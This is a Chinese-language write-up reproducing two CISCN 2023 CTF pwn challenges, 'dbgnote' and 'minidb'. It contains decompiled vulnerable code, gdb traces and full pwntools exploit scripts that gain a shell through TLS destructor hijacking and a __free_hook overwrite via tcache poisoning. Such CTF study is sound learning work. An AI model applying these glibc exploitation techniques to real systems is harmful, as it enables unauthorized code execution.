2023-ciscn-pwn复现


dbgnote

这题…复现的让我觉得我没学过pwn

漏洞点:

  while ( 1 )
  {
LABEL_6:
    v5 = aNoteAdd;
    v6 = 0;
    sub_1B20(&userName);
    read_input(buf, 0x32LL);                    //overflow
    while ( strcmp(buf, v5) )
    {
      ++v6;
      v5 += 16;
      if ( v6 == 6 )
      {
        puts("Error.");
        goto LABEL_6;
      }
    }
    call_func[v6]();
  }
__int64 input_vuln()
{
  __int128 vars0; // [rsp+0h] [rbp+0h] BYREF
  __int64 vars10; // [rsp+10h] [rbp+10h]
  unsigned __int64 vars18; // [rsp+18h] [rbp+18h]

  vars18 = __readfsqword(0x28u);
  vars0 = 0LL;
  vars10 = 0LL;
  read_input(&vars0, 25LL);                     // off-by-one
  return strtol(&vars0, 0LL, 10);
}
unsigned __int64 __fastcall super_note()
{
  __int16 v1; // sp
  unsigned __int64 v2; // [rsp+8h] [rbp-10h]

  v2 = __readfsqword(0x28u);
  puts("Please don't patch this normal function, we will check it!");
  if ( !super_flag )
  {
    super_flag = 1;
    __printf_chk(1LL, "Super note: %d\n", (v1 + 4));	//leak addr
  }
  return v2 - __readfsqword(0x28u);
}

同时存在一个可以实现任意地址读写的函数

void __noreturn sub_1B70()
{
  char *s[9]; // [rsp+0h] [rbp+0h] BYREF

  s[1] = __readfsqword(0x28u);
  puts("Please don't patch this normal function, we will check it!");
  puts("[+] Debug the note.");
  s[0] = 0LL;
  __printf_chk(1LL, "[Addr] ");
  read(0, s, 8uLL);
  __printf_chk(1LL, "[Read] ");
  puts(s[0]);
  __printf_chk(1LL, "[Addr] ");
  read(0, s, 8uLL);
  __printf_chk(1LL, "[Write] ");
  read(0, s[0], 0x90uLL);
  exit(0);
}

然而在运行程序的时候只能加上dbgrun,泄露地址需要run函数,任意地址读写需要dbg函数,但存在signal机制

unsigned int my_init()
{
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  signal(6, handler);
  signal(14, over);
  return alarm(0x3Cu);
}

signal函数的作用是设置信号处理函数。第一个参数是要处理的信号编号,第二个参数是指向信号处理函数的指针。信号处理函数是一个特殊的函数,用于在接收到指定信号时执行相应的操作。查了一下信号6SIGABRT信号,即abort报错,那么只需要触发程序报错即可运行dbg

接下来的操作就是向envp环境变量加入LD_DEBUG=all,触发报错会泄露libc同时还会运行dbg函数,获取system函数地址之后打__call_tls_dtors利用函数中的call rax执行system,但需要根据函数执行过程修改tls结构体

先写入LD_DEBUG=all,然后利用super note功能泄露栈的低位地址

.data:0000000000004020                               ; char aNoteAdd[]
.data:0000000000004020 4E 6F 74 65 5F 41 64 64 00    aNoteAdd db 'Note_Add',0                ; DATA XREF: main+D1↑o
.data:0000000000004029 00 00 00 00 00 00 00          align 10h
.data:0000000000004030 4E 6F 74 65 5F 44 65 6C 65 74+aNoteDelete db 'Note_Delete',0
.data:000000000000403C 00 00 00 00                   align 20h
.data:0000000000004040 4E 6F 74 65 5F 57 72 69 74 65+aNoteWrite db 'Note_Write',0
.data:000000000000404B 00 00 00 00 00                align 10h
.data:0000000000004050 4E 6F 74 65 5F 52 65 61 64 00 aNoteRead db 'Note_Read',0
.data:000000000000405A 00 00 00 00 00 00             align 20h
.data:0000000000004060 4E 6F 74 65 5F 45 78 69 74 00 aNoteExit db 'Note_Exit',0
.data:000000000000406A 00 00 00 00 00 00             align 10h
.data:0000000000004070 2B 2B 2D 2D 2B 2B 2D 2D 00    db '++--++--',0
.data:0000000000004079 00 00 00 00 00 00 00          align 20h
.data:0000000000004080 10 18 00 00 00 00 00 00       call_func dq offset add                 ; DATA XREF: main+D8↑o
.data:0000000000004088 10 19 00 00 00 00 00 00       dq offset delete
.data:0000000000004090 C0 19 00 00 00 00 00 00       dq offset write
.data:0000000000004098 80 1A 00 00 00 00 00 00       dq offset dbg_read
.data:00000000000040A0 80 14 00 00 00 00 00 00       dq offset my_exit
.data:00000000000040A8 B0 14 00 00 00 00 00 00       dq offset super_note
.data:00000000000040A8                               _data ends
r.sendlineafter(b'UserName:', b'LD_DEBUG=all')      #envp content
r.sendlineafter(b'Note $ ', b'++--++--')

r.recvuntil(b'Super note: ')
leak = int(r.recv(5), 10)    #leak low addr

envp的范围在从envp开始地址到null结束,而之前写入的地址与envp之间存在null,所以需要改指向LD_DEBUG=all的地址为envp能够识别到的地址,在输入功能的函数中存在两字节的溢出,刚好溢出到指向LD_DEBUG=all的低二位,发送地址时需要用p16

p = b'a' * 0x30 + p16(leak + 0x1c)     #change low addr into envp
r.sendlineafter(b'Note $ ', p)

接下来利用off-by-one通过溢出触发报错来泄露libc地址并进入到dbg

r.sendlineafter(b'Note $ ', b'Note_Read')
r.sendafter(b'Index: ', b'a' * 0x19)    #abort and leak libc

r.recvuntil('base: 0x')
libc_base = int(r.recv(16), 16)

最后就是利用任意地址写来劫持__call_tls_dtors了,这里要对exit函数进行调试,exit->__run_exit_handlers->__call_tls_dtors

  0x7ffff7c45d60 <__call_tls_dtors>       endbr64 
  0x7ffff7c45d64 <__call_tls_dtors+4>     push   rbp
  0x7ffff7c45d65 <__call_tls_dtors+5>     push   rbx
  0x7ffff7c45d66 <__call_tls_dtors+6>     sub    rsp, 8
  0x7ffff7c45d6a <__call_tls_dtors+10>    mov    rbx, qword ptr [rip + 0x1d301f]
► 0x7ffff7c45d71 <__call_tls_dtors+17>    mov    rbp, qword ptr fs:[rbx]
  0x7ffff7c45d75 <__call_tls_dtors+21>    test   rbp, rbp
  0x7ffff7c45d78 <__call_tls_dtors+24>    je     __call_tls_dtors+93                <__call_tls_dtors+93>
   ↓
  0x7ffff7c45dbd <__call_tls_dtors+93>    add    rsp, 8
  0x7ffff7c45dc1 <__call_tls_dtors+97>    pop    rbx
  0x7ffff7c45dc2 <__call_tls_dtors+98>    pop    rbp

这里需要绕过这个je继续执行下面的内容, 所以rbp指向的值要是0fs:[rbx]表示tls + rbx地址中的内容为0

*RBX  0xffffffffffffffa8
pwndbg> tls
tls : 0x7ffff7fb8740
pwndbg> p/x 0x7ffff7fb8740 + 0xffffffffffffffa8
$2 = 0x7ffff7fb86e8

绕过之后就要去改rax = system rdi = /bin/sh

  0x7ffff7c45d84 <__call_tls_dtors+36>    mov    rax, qword ptr [rbp]
  0x7ffff7c45d88 <__call_tls_dtors+40>    ror    rax, 0x11
► 0x7ffff7c45d8c <__call_tls_dtors+44>    xor    rax, qword ptr fs:[0x30]

rbp指向的值已经被改成0了,执行xor rax, qword ptr fs:[0x30]即执行将fs:[0x30]0进行异或存到rax中,所以直接改fs:[0x30]指向system即可

pwndbg> tls
tls : 0x7ffff7fb8740
pwndbg> p/x 0x7ffff7fb8740 + 0x30
$6 = 0x7ffff7fb8770

接下来计算指向rdi的地址,将对应地址内容改成/bin/sh

0x7ffff7c45d99 <__call_tls_dtors+57>    mov    rdi, qword ptr [rbp + 8]
pwndbg> p/x 0x7ffff7fb8740 + 0x30
$6 = 0x7ffff7fb8770
pwndbg> p/x 0x7ffff7fb86f0 + 8
$7 = 0x7ffff7fb86f8

最后在指向call system之后还要注意一个地址,system->posix_spawn->__spawni->__spawnix->pthread_setcancelstate

   0x7ffff7c9b76e <pthread_setcancelstate+14>    mov    rdx, qword ptr fs:[0x10]
   0x7ffff7c9b777 <pthread_setcancelstate+23>    test   rsi, rsi
   0x7ffff7c9b77a <pthread_setcancelstate+26>    je     pthread_setcancelstate+37               <pthread_setcancelstate+37>


► 0x7ffff7c9b77c <pthread_setcancelstate+28>    movzx  eax, byte ptr [rdx + 0x971]
   0x7ffff7c9b783 <pthread_setcancelstate+35>    mov    dword ptr [rsi], eax
   0x7ffff7c9b785 <pthread_setcancelstate+37>    mov    byte ptr [rdx + 0x971], dil
   0x7ffff7c9b78c <pthread_setcancelstate+44>    xor    eax, eax
   0x7ffff7c9b78e <pthread_setcancelstate+46>    ret    

这里的rdx + 0x971需要是一个有效地址且其中储存的内容也要是一个有效地址

pwndbg> tls
tls : 0x7ffff7fb8740
pwndbg> p/x 0x7ffff7fb8740 + 0x10
$9 = 0x7ffff7fb8750

伪造的tls结构体满足以上四个条件即可成功getshell

exp:

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 0
if debug:
    r = remote()
else:
    r = process([file_name, 'run'])

elf = ELF(file_name)
libc = ELF('./2.35/libc.so.6')

def dbg():
    gdb.attach(r)

r.sendlineafter(b'UserName:', b'LD_DEBUG=all')      #envp content
r.sendlineafter(b'Note $ ', b'++--++--')

r.recvuntil(b'Super note: ')
leak = int(r.recv(5), 10)    #leak low addr

p = b'a' * 0x30 + p16(leak + 0x1c)     #change low addr into envp
r.sendlineafter(b'Note $ ', p)

r.sendlineafter(b'Note $ ', b'Note_Read')
r.sendafter(b'Index: ', b'a' * 0x19)    #abort and leak libc

r.recvuntil('base: 0x')
libc_base = int(r.recv(16), 16)

system_addr = libc_base + libc.sym['system']
target = libc_base + 0x3b86e8

r.sendafter('[Addr] ', p64(libc_base))   #any valid addr
r.sendafter('[Addr] ', p64(target))

p1 = p64(target + 0x8) + p64(0) + p64(target + 0x18) + b'/bin/sh\x00'  #jne and point to 0 and set rdi
p1 = p1.ljust(0x68, b'\x00') + p64(libc_base + 0x3b8750 - 0x971)  #any valid addr stored valid addr 
p1 = p1.ljust(0x88, b'\x00') + p64(system_addr)   #rax = system xor 0(ebp)

r.sendafter('[Write] ', p1)

r.interactive()

minidb

就是说在现场没写不出来比赛完还是写不出来(),看了wp和解析终于看懂了呜呜

数据库堆题,保护全开,漏洞点如下

if ( a1 )
  {
    printf("Input the key: ");
    __isoc99_scanf("%ld", &v3);
    ptr = sub_168D(a1, v3, 0LL);
    if ( ptr )
    {
      printf("Input the new value: ");
      __isoc99_scanf("%255s", value);
      len = strlen(value);

      *(&ptr->value + len) = 0;                 // strlen <=255 && oob write \x00 
      if ( (a1->type == 1 || a1->type == 2) && len > 0x7F || (a1->type == 3 || a1->type == 4) && len > 0xFF )
      {
        puts("\x1B[31m\x1B[1m[x] The length of new value is TOOOOOO LOOOOONG!\x1B[0m");
      }
      else
      {
        memcpy(&ptr->value, value, len);
        *(&ptr->value + len) = 0;              
        puts("[+] Succesfully update the value of specific key!");
      }
    }
    else
    {
      puts("\x1B[31m\x1B[1m[x] Key NOT FOUND!\x1B[0m");
    }
  }
  else
  {
    puts("\x1B[31m\x1B[1m[x] Runtime error! No database provided!\x1B[0m");
  }
  return __readfsqword(0x28u) ^ v6;
}

虽然限制了在不同类型下的大小,但是在判断大小之前就会将最后一位赋为0,这里可以实现从该堆线下任意一个字节改为0,接下来开始构造堆

创建一个数据库与三个键值对,目的是在后续将下一个堆name地址末尾改成0时刚好在一个堆上

add_db(2, b'a' * 8)

use(b'a' * 8)

add(0, b'a')
add(1, b'a')
add(2, b'a')
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x558fca8d1000
Size: 0x291

Allocated chunk | PREV_INUSE
Addr: 0x558fca8d1290
Size: 0x821

Allocated chunk | PREV_INUSE
Addr: 0x558fca8d1ab0
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x558fca8d1ad0
Size: 0xa1

Allocated chunk | PREV_INUSE
Addr: 0x558fca8d1b70
Size: 0xa1

Allocated chunk | PREV_INUSE
Addr: 0x558fca8d1c10
Size: 0xa1

Top chunk | PREV_INUSE
Addr: 0x558fca8d1cb0
Size: 0x20351

再创建一个数据库之后用第一个数据库创建两个键值对并删除第二个键值对和第二个数据库,这样再次申请数据库时就可以让它的name落在这个堆

add_db(2, b'b' * 8)

use(b'a' * 8)

add(3, b'a')
add(4, b'a')

delete(4)

out()

delete_db(b'b' * 8)
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x55b60aa00000
Size: 0x291

Allocated chunk | PREV_INUSE
Addr: 0x55b60aa00290
Size: 0x821

Allocated chunk | PREV_INUSE
Addr: 0x55b60aa00ab0
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x55b60aa00ad0
Size: 0xa1

Allocated chunk | PREV_INUSE
Addr: 0x55b60aa00b70
Size: 0xa1

Allocated chunk | PREV_INUSE
Addr: 0x55b60aa00c10
Size: 0xa1

Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x55b60aa00cb0
Size: 0x821
fd: 0x7fd935e27be0
bk: 0x7fd935e27be0

Free chunk (tcache)
Addr: 0x55b60aa014d0
Size: 0x20
fd: 0x00

Allocated chunk | PREV_INUSE
Addr: 0x55b60aa014f0
Size: 0xa1

Free chunk (tcache) | PREV_INUSE
Addr: 0x55b60aa01590
Size: 0xa1
fd: 0x00

Top chunk | PREV_INUSE
Addr: 0x55b60aa01630
Size: 0x1f9d1

再次申请一个数据库且大小在0x90,此时会用到刚刚删除的数据库的管理和第一个数据库被释放掉的堆,刚好将第三个数据库的name地址低位改成\x00后落在第一个数据库的第四个堆上

add_db(2, b'b' * 0x90)

use(b'a' * 8)
edit(2, b'a' * 0x98)
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x55ecd0d2f000
Size: 0x291

Allocated chunk | PREV_INUSE
Addr: 0x55ecd0d2f290
Size: 0x821

Allocated chunk | PREV_INUSE
Addr: 0x55ecd0d2fab0
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x55ecd0d2fad0
Size: 0xa1

Allocated chunk | PREV_INUSE
Addr: 0x55ecd0d2fb70
Size: 0xa1

Allocated chunk | PREV_INUSE
Addr: 0x55ecd0d2fc10
Size: 0xa1

Allocated chunk | PREV_INUSE
Addr: 0x55ecd0d2fcb0
Size: 0x821

Free chunk (tcache) | PREV_INUSE
Addr: 0x55ecd0d304d0
Size: 0x21
fd: 0x00

Allocated chunk | PREV_INUSE
Addr: 0x55ecd0d304f0
Size: 0xa1

Allocated chunk | PREV_INUSE
Addr: 0x55ecd0d30590
Size: 0xa1

Top chunk | PREV_INUSE
Addr: 0x55ecd0d30630
Size: 0x1f9d1
pwndbg> x/10gx 0x55ecd0d2fcb0
0x55ecd0d2fcb0: 0x0000000000000000      0x0000000000000821
0x55ecd0d2fcc0: 0x0000000000000002      0x000055ecd0d30500

此时释放掉第一个数据库的第四个堆并不会清除第三个数据库中的name地址,造成UAF,先填充tcache再释放掉这个堆,通过数据库名称列表泄露libc

for i in range(7):
    add(i + 4, b'a')

for i in range(7):
    delete(i + 4)

delete(3)

out()
show_db()

libc_base = u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x1ecbe0
libc = ELF('./2.31/libc-2.31.so')
[DEBUG] Received 0xf8 bytes:
    00000000  5b 2a 5d 20  59 6f 75 20  68 61 76 65  20 32 20 64  │[*] │You │have│ 2 d│
    00000010  61 74 61 62  61 73 65 20  6e 6f 77 2e  0a 46 6f 6c  │atab│ase │now.│·Fol│
    00000020  6c 6f 77 69  6e 67 20 69  73 20 79 6f  75 72 20 64  │lowi│ng i│s yo│ur d│
    00000030  61 74 61 62  73 65 73 3a  0a 0a 09 61  61 61 61 61  │atab│ses:│···a│aaaa│
    00000040  61 61 61 0a  09 e0 1b 5c  41 a3 7f 0a  0a 43 68 6f  │aaa·│···\│A···│·Cho│
    00000050  6f 73 65 20  79 6f 75 72  20 63 6f 6d  6d 61 6e 64  │ose │your│ com│mand│
    00000060  3a 0a 0a 31  2e 20 43 72  65 61 74 65  20 61 20 6e  │:··1│. Cr│eate│ a n│
    00000070  65 77 20 64  61 74 61 62  61 73 65 2e  0a 32 2e 20  │ew d│atab│ase.│·2. │
    00000080  55 73 65 20  61 20 64 61  74 61 62 61  73 65 2e 0a  │Use │a da│taba│se.·│
    00000090  33 2e 20 44  65 6c 65 74  65 20 61 20  64 61 74 61  │3. D│elet│e a │data│
    000000a0  62 61 73 65  2e 0a 34 2e  20 4c 69 73  74 20 74 68  │base│.·4.│ Lis│t th│
    000000b0  65 20 64 61  74 61 62 61  73 65 73 2e  0a 35 2e 20  │e da│taba│ses.│·5. │
    000000c0  43 68 61 6e  67 65 20 74  68 65 20 6e  61 6d 65 20  │Chan│ge t│he n│ame │
    000000d0  6f 66 20 61  20 64 61 74  61 62 61 73  65 2e 0a 36  │of a│ dat│abas│e.·6│
    000000e0  36 36 2e 20  45 78 69 74  2e 0a 0a 59  6f 75 72 20  │66. │Exit│.··Y│our │
    000000f0  63 68 6f 69  63 65 3a 20                            │choi│ce: │
    000000f8

再将释放的堆全部申请回来,单独释放一个堆和name中指向的堆中指向的堆,以此泄露堆地址,因为后续改数据库名称时需要name中的内容

use(b'a' * 8)

for i in range(8):
    add(i + 4, b'a')

delete(10)
delete(11)

out()
show_db()

r.recvuntil(b'a' * 8 + b'\n' + b'\t')
heap = u64(r.recv(6).ljust(8, b'\x00'))

改第三个数据库的名称为free_hook,此时修改的堆实际上已经被释放,因此能够改到tcache链表,需要注意的是数据路名称大小要是0x90,且改free_hook的时候system地址只能在后面否则会截断,因此要写入的地址是free_hook - 0x88,写入成功在创建一个/bin/sh并释放即可‘

exp:

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

#context.terminal = ['tmux','splitw','-h']

debug = 0
if debug:
    r = remote()
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

def add(key, value):
    r.recvuntil(b"Your choice: ")
    r.sendline(b"1")
    r.recvuntil(b"Input the key: ")
    r.sendline(str(key).encode())
    r.recvuntil(b"Input the value: ")
    r.sendline(value)

def show(key):
    r.recvuntil(b"Your choice: ")
    r.sendline(b"2")
    r.recvuntil(b"Input the key: ")
    r.sendline(str(key).encode())

def edit(key, value):
    r.recvuntil(b"Your choice: ")
    r.sendline(b"3")
    r.recvuntil(b"Input the key: ")
    r.sendline(str(key).encode())
    r.recvuntil(b"Input the new value: ")
    r.sendline(value)

def delete(key):
    r.recvuntil(b"Your choice: ")
    r.sendline(b"4")
    r.recvuntil(b"Input the key: ")
    r.sendline(str(key).encode())

def out():
    r.recvuntil(b"Your choice: ")
    r.sendline(b"666")

def add_db(type, name):
    r.recvuntil(b"Your choice: ")
    r.sendline(b"1")
    r.recvuntil(b"Please input the name of database: ")
    r.sendline(name)
    r.recvuntil(b"Please input the type of database: ")
    r.sendline(str(type).encode())

def use(name):
    r.recvuntil(b"Your choice: ")
    r.sendline(b"2")
    r.recvuntil(b"Please input the name of database: ")
    r.sendline(name)

def delete_db(name):
    r.recvuntil(b"Your choice: ")
    r.sendline(b"3")
    r.recvuntil(b"Please input the name of database: ")
    r.sendline(name)

def show_db():
    r.recvuntil(b"Your choice: ")
    r.sendline(b"4")

def edit_db(orig_name, new_name):
    r.recvuntil(b"Your choice: ")
    r.sendline(b"5")
    r.recvuntil(b"Please input the name of database: ")
    r.sendline(orig_name)
    r.recvuntil(b"Please input the new name for database: ")
    r.sendline(new_name)

add_db(2, b'a' * 8)

use(b'a' * 8)

add(0, b'a')
add(1, b'a')
add(2, b'a')

out()

add_db(2, b'b' * 8)

use(b'a' * 8)

add(3, b'a')
add(4, b'a')

delete(4)

out()

delete_db(b'b' * 8)

add_db(2, b'b' * 0x90)

use(b'a' * 8)
edit(2, b'a' * 0x98)

for i in range(7):
    add(i + 4, b'a')

for i in range(7):
    delete(i + 4)

delete(3)

out()
show_db()

libc_base = u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x1ecbe0
libc = ELF('./2.31/libc-2.31.so')
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']

use(b'a' * 8)

for i in range(8):
    add(i + 4, b'a')

delete(10)
delete(11)

out()
show_db()

r.recvuntil(b'a' * 8 + b'\n' + b'\t')
heap = u64(r.recv(6).ljust(8, b'\x00'))

edit_db(p64(heap), p64(free_hook - 0x88) + b'a' * 0x88)

add_db(2, b'a' * 0x90)
add_db(2, b'a' * 0x88 + p64(system))

add_db(2, b'/bin/sh\x00')
delete_db(b'/bin/sh\x00')

r.interactive()

  目录